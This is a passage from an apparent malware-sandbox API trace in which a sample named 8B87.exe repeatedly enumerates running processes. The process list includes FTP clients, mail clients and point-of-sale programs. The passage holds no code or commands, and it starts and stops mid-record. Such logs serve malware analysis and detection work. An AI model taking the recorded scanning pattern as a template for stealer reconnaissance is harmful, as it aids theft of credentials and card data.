third.exe")) returned 1 [0220.316] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0220.318] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0220.320] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0220.321] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0220.323] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0220.325] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0220.328] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0220.330] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0220.331] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0220.333] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0220.335] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0220.337] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0220.339] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0220.341] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0220.343] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0220.345] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0220.347] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0220.350] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0220.352] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0220.354] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0220.356] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0220.358] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0220.360] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0220.363] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0220.365] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0220.367] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0220.370] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0220.372] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0220.374] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0220.376] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0220.378] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0220.381] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0220.383] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0220.386] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0220.388] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0220.390] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0220.394] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0220.396] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0220.398] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0220.400] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0220.403] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0220.405] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0220.407] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0220.409] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0220.412] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0220.414] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0220.416] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0220.418] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0220.420] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0220.456] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0220.458] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0220.460] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0220.462] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.464] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0220.466] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0220.468] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0220.470] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0220.473] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0220.475] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0220.477] CloseHandle (hObject=0x11c8) returned 1 [0220.477] Sleep (dwMilliseconds=0x64) [0220.478] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0220.489] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0220.491] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0220.493] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0220.496] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0220.498] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0220.499] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0220.501] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0220.503] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0220.505] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0220.507] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.508] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.510] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0220.512] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.514] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.515] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.517] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.519] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.521] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.523] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.525] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0220.527] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0220.529] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0220.531] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.533] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 